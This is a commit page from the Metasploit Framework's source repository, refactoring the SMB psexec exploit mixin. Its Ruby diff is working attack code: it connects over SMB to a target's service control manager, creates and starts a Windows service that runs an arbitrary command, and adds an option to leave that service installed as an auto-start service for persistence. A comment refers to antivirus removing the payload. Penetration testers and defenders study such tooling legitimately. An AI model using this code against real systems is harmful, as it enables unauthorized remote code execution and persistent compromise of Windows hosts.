Skip to content

Commit 0eea9a0

Browse files
author
Tod Beardsley
committed
Land rapid7#3144, psexec refactoring
2 parents 86ae104 + 1d0d558 commit 0eea9a0

File tree

6 files changed

+585
-99
lines changed

6 files changed

+585
-99
lines changed

lib/msf/core/exploit/smb/psexec.rb

Lines changed: 119 additions & 84 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
# -*- coding: binary -*-
2+
require 'rex/proto/dcerpc/svcctl'
23

34
module Msf
45

@@ -12,9 +13,50 @@ module Msf
1213

1314
module Exploit::Remote::SMB::Psexec
1415

16+
include Rex::Constants::Windows
1517
include Msf::Exploit::Remote::DCERPC
1618
include Msf::Exploit::Remote::SMB::Authenticated
1719

20+
def initialize(info = {})
21+
super
22+
register_options(
23+
[
24+
OptString.new('SERVICE_NAME', [ false, 'The service name', nil]),
25+
OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
26+
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
27+
], self.class)
28+
29+
register_advanced_options(
30+
[
31+
OptBool.new('SERVICE_PERSIST', [ true, 'Create an Auto run service and do not remove it.', false])
32+
], self.class)
33+
end
34+
35+
# Retrieve the SERVICE_NAME option, generate a random
36+
# one if not already set.
37+
#
38+
# @return service_name [String] the name of the service.
39+
def service_name
40+
@service_name ||= datastore['SERVICE_NAME']
41+
@service_name ||= Rex::Text.rand_text_alpha(8)
42+
end
43+
44+
# Retrieve the SERVICE_DISPLAY_NAME option, generate a random
45+
# one if not already set.
46+
#
47+
# @return service_display_name [String] the display name of the service.
48+
def display_name
49+
@display_name ||= datastore['SERVICE_DISPLAY_NAME']
50+
@display_name ||= Rex::Text.rand_text_alpha(16)
51+
end
52+
53+
# Retrieve the SERVICE_DESCRIPTION option
54+
#
55+
# @return service_description [String] the service description.
56+
def service_description
57+
@service_description ||= datastore['SERVICE_DESCRIPTION']
58+
end
59+
1860
# Retrives output from the executed command
1961
#
2062
# @param smbshare [String] The SMBshare to connect to. Usually C$
@@ -37,7 +79,6 @@ def smb_read_file(smbshare, host, file)
3779
end
3880
end
3981

40-
4182
# Executes a single windows command.
4283
#
4384
# If you want to retrieve the output of your command you'll have to
@@ -47,115 +88,109 @@ def smb_read_file(smbshare, host, file)
4788
# {Exploit::FileDropper#cleanup} and
4889
# {Exploit::FileDropper#on_new_session} handlers do it for you.
4990
#
50-
# @todo Figure out the actual exceptions this needs to deal with
51-
# instead of all the ghetto "rescue ::Exception" madness
5291
# @param command [String] Should be a valid windows command
5392
# @param disconnect [Boolean] Disconnect afterwards
54-
# @param service_description [String] Service Description
55-
# @param service_name [String] Service Name
56-
# @param display_name [Strnig] Display Name
5793
# @return [Boolean] Whether everything went well
58-
def psexec(command, disconnect=true, service_description=nil, service_name=nil, display_name=nil)
94+
def psexec(command, disconnect=true)
5995
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
6096
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
6197
vprint_status("#{peer} - Binding to #{handle} ...")
6298
dcerpc_bind(handle)
6399
vprint_status("#{peer} - Bound to #{handle} ...")
64100
vprint_status("#{peer} - Obtaining a service manager handle...")
65-
scm_handle = nil
66-
stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F)
67-
begin
68-
response = dcerpc.call(0x0f, stubdata)
69-
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
70-
scm_handle = dcerpc.last_response.stub_data[0,20]
71-
end
72-
rescue ::Exception => e
73-
print_error("#{peer} - Error getting scm handle: #{e}")
74-
return false
75-
end
76-
servicename = service_name || Rex::Text.rand_text_alpha(11)
77-
displayname = display_name || Rex::Text.rand_text_alpha(16)
78-
79-
svc_handle = nil
80-
svc_status = nil
81-
stubdata =
82-
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
83-
NDR.long(0x0F01FF) + # Access: MAX
84-
NDR.long(0x00000110) + # Type: Interactive, Own process
85-
NDR.long(0x00000003) + # Start: Demand
86-
NDR.long(0x00000000) + # Errors: Ignore
87-
NDR.wstring( command ) +
88-
NDR.long(0) + # LoadOrderGroup
89-
NDR.long(0) + # Dependencies
90-
NDR.long(0) + # Service Start
91-
NDR.long(0) + # Password
92-
NDR.long(0) + # Password
93-
NDR.long(0) + # Password
94-
NDR.long(0) # Password
95-
begin
96-
vprint_status("#{peer} - Creating the service...")
97-
response = dcerpc.call(0x0c, stubdata)
98-
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
99-
svc_handle = dcerpc.last_response.stub_data[4,20]
100-
svc_status = dcerpc.last_response.stub_data[24,4]
101-
end
102-
rescue ::Exception => e
103-
print_error("#{peer} - Error creating service: #{e}")
104-
return false
101+
102+
svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
103+
scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'])
104+
105+
if scm_status == ERROR_ACCESS_DENIED
106+
print_error("#{peer} - ERROR_ACCESS_DENIED opening the Service Manager")
105107
end
106108

107-
if service_description
108-
vprint_status("#{peer} - Changing service description...")
109-
stubdata =
110-
svc_handle +
111-
NDR.long(1) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION
112-
NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION
113-
NDR.long(0x0200) + # SERVICE_DESCRIPTION struct
114-
NDR.long(0x04000200) +
115-
NDR.wstring(service_description)
116-
begin
117-
response = dcerpc.call(0x25, stubdata) # ChangeServiceConfig2
118-
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
119-
print_error("#{peer} - Error changing service description : #{e}")
120-
end
109+
return false unless scm_handle
110+
111+
if datastore['SERVICE_PERSIST']
112+
opts = { :start => SERVICE_AUTO_START }
113+
else
114+
opts = {}
121115
end
122116

123-
vprint_status("#{peer} - Starting the service...")
124-
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
125-
begin
126-
response = dcerpc.call(0x13, stubdata)
127-
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
128-
end
129-
rescue ::Exception => e
130-
print_error("#{peer} - Error starting service: #{e}")
117+
vprint_status("#{peer} - Creating the service...")
118+
svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)
119+
120+
case svc_status
121+
when ERROR_SUCCESS
122+
vprint_good("#{peer} - Successfully created the service")
123+
when ERROR_SERVICE_EXISTS
124+
service_exists = true
125+
print_warning("#{peer} - Service already exists, opening a handle...")
126+
svc_handle = svc_client.openservicew(scm_handle, service_name)
127+
when ERROR_ACCESS_DENIED
128+
print_error("#{peer} - Unable to create service, ACCESS_DENIED, did AV gobble your binary?")
129+
return false
130+
else
131+
print_error("#{peer} - Failed to create service, ERROR_CODE: #{svc_status}")
131132
return false
132133
end
133-
vprint_status("#{peer} - Removing the service...")
134-
stubdata = svc_handle
135-
begin
136-
response = dcerpc.call(0x02, stubdata)
137-
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
134+
135+
if svc_handle.nil?
136+
print_error("#{peer} - No service handle retrieved")
137+
return false
138+
else
139+
140+
if service_description
141+
vprint_status("#{peer} - Changing service description...")
142+
svc_client.changeservicedescription(svc_handle, service_description)
143+
end
144+
145+
vprint_status("#{peer} - Starting the service...")
146+
begin
147+
svc_status = svc_client.startservice(svc_handle)
148+
case svc_status
149+
when ERROR_SUCCESS
150+
print_good("#{peer} - Service started successfully...")
151+
when ERROR_FILE_NOT_FOUND
152+
print_error("#{peer} - Service failed to start - FILE_NOT_FOUND")
153+
when ERROR_ACCESS_DENIED
154+
print_error("#{peer} - Service failed to start - ACCESS_DENIED")
155+
when ERROR_SERVICE_REQUEST_TIMEOUT
156+
print_good("#{peer} - Service start timed out, OK if running a command or non-service executable...")
157+
else
158+
print_error("#{peer} - Service failed to start, ERROR_CODE: #{svc_status}")
159+
end
160+
ensure
161+
begin
162+
# If service already exists don't delete it!
163+
# Maybe we could have a force cleanup option..?
164+
if service_exists
165+
print_warning("#{peer} - Not removing service as it already existed...")
166+
elsif datastore['SERVICE_PERSIST']
167+
print_warning("#{peer} - Not removing service for persistance...")
168+
else
169+
vprint_status("#{peer} - Removing the service...")
170+
svc_status = svc_client.deleteservice(svc_handle)
171+
if svc_status == ERROR_SUCCESS
172+
vprint_good("#{peer} - Successfully removed the sevice")
173+
else
174+
print_error("#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}")
175+
end
176+
end
177+
ensure
178+
vprint_status("#{peer} - Closing service handle...")
179+
svc_client.closehandle(svc_handle)
180+
end
138181
end
139-
rescue ::Exception => e
140-
print_error("#{peer} - Error removing service: #{e}")
141-
end
142-
vprint_status("#{peer} - Closing service handle...")
143-
begin
144-
response = dcerpc.call(0x0, svc_handle)
145-
rescue ::Exception => e
146-
print_error("#{peer} - Error closing service handle: #{e}")
147182
end
148183

149184
if disconnect
150185
sleep(1)
151186
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
152187
end
153188

154-
return true
189+
true
155190
end
156191

157192
def peer
158-
return "#{rhost}:#{rport}"
193+
"#{rhost}:#{rport}"
159194
end
160195

161196
end

lib/rex/constants.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
# -*- coding: binary -*-
2+
23
#
34
# Log severities
45
#

0 commit comments

Comments
 (0)